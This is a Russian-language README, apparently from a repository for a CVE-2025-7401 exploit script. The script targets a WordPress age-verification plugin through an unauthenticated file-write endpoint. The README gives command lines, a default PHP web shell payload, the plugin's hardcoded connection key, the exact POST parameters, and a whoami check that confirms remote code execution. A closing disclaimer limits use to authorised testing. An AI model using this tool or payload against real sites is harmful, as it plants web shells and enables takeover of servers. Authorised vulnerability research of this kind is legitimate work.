
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Неаутентифицированное произвольное чтение и запись файлов
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Неаутентифицированное произвольное чтение и запись файлов
Плагин «Premium Age Verification / Restriction for WordPress» содержит недостаточно защищённую конечную точку удалённой поддержки в remote_tunnel.php. В затронутых версиях до 3.0.2 включительно эта конечная точка может быть использована для неаутентифицированного произвольного чтения и записи файлов. Успешная эксплуатация может раскрыть конфиденциальную информацию или позволить удалённое выполнение кода.
CVE-2025-7401.py# Базовый режим (используется ключ подключения по умолчанию и стандартная PHP-оболочка)
python CVE-2025-7401.py -u example.com
# Использование HTTPS и пользовательского ключа подключения, без проверки
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Пользовательский PHP-пейлоад (только авторизованное тестирование)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php./wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php с параметрами: action=save_file, file, file_content.remote_init.php.Если вы обнаружили эту уязвимость в сторонней инфраструктуре:
Несанкционированное использование инструментов тестирования уязвимостей незаконно во многих юрисдикциях. Этот репозиторий и скрипт предназначены исключительно для оборонительных исследований, авторизованного тестирования и скоординированного раскрытия уязвимостей. Всегда получайте явное письменное разрешение перед тестированием систем, которые вам не принадлежат.
Автор и участники не несут ответственности за неправильное использование информации или инструментов. Используйте этот материал только в рамках закона и этических норм.
Автор: Nxploited ( Khaled Alenazi )
| Флаг | Тип | Значение по умолчанию | Описание |
|---|
| -u, --url | string | required | Целевой домен или частичный URL. Скрипт добавит конечную точку плагина при необходимости. Примеры: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/. |
| -key, --key | string | 330489965d8266a739442ef890f57805 | Ключ подключения, используемый конечной точкой удалённой поддержки. При необходимости переопределите для лабораторных целей. |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | PHP-фрагмент для внедрения в качестве содержимого файла. Изменяйте только для авторизованного тестирования. |
| --no-verify | flag | false | При наличии скрипт не будет выполнять опциональную GET-проверку записанного файла. |
| Шаг | Действие | Подробности |
|---|
| 1 | Нормализация ввода | Принимает пользовательский ввод (домен или частичный путь). Гарантирует наличие схемы (добавляет http:// при отсутствии), удаляет дублирующиеся слэши и добавляет /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php, если конечная точка отсутствует. |
| 2 | Формирование заголовков | Формирует реалистичные HTTP-заголовки запроса (ротация user-agent, Accept, Referer, Content-Type). |
| 3 | Кодирование пейлоада | Кодирует предоставленный PHP-фрагмент в Base64 и помещает его в file_content. |
| 4 | POST-запрос эксплойта | Отправляет connection_key, action=save_file, file (серверный путь) и file_content на нормализованную конечную точку remote_tunnel.php через application/x-www-form-urlencoded. |
| 5 | Разбор ответа | Пытается извлечь JSON из тела ответа. Если JSON присутствует, выводит status и file_path; в противном случае выводит очищенный сырой ответ. |
| 6 | Проверка (опционально) | Выполняет GET-запрос к /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami, чтобы проверить, доступен ли внедрённый файл и возвращает ли он содержимое. Опционально — отключается с помощью --no-verify. |
| 7 | Формирование отчёта | Выводит структурированный, читаемый отчёт, включающий использованную конечную точку, HTTP-статус, разобранный JSON (при наличии), ожидаемый URL оболочки и усечённый вывод проверки (при успехе). |
| Поле вывода | Значение | Пример |
|---|
| Целевая конечная точка | Финальный нормализованный URL, к которому выполняется обращение (полный путь к remote_tunnel.php). | http://example.com/wp-content/.../remote_tunnel.php |
| Код HTTP-статуса | Код ответа HTTP от POST-запроса. 200 часто означает, что запрос обработан. | 200 |
| Статус JSON в ответе | Если конечная точка возвращает JSON, поле status сообщает об успехе или неудаче. | valid |
| file_path в JSON-ответе | Серверный путь, возвращённый конечной точкой, показывающий, куда был записан файл (информационно). | /var/www/html/wp-content/.../remote_init.php |
| Сырой ответ | Тело ответа, не содержащее JSON (очищенное), например, PHP-уведомления или сообщения. | Notice: ... |
| URL оболочки (ожидаемый) | Публичный URL, по которому внедрённый файл будет доступен. Используйте только для проверки в авторизованных тестах. | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| HTTP-статус проверки | HTTP-статус опциональной GET-проверки. | 200 |
| Тело проверки (усечённое) | Первые N символов тела ответа проверки (полезно для просмотра вывода команды). | www-data |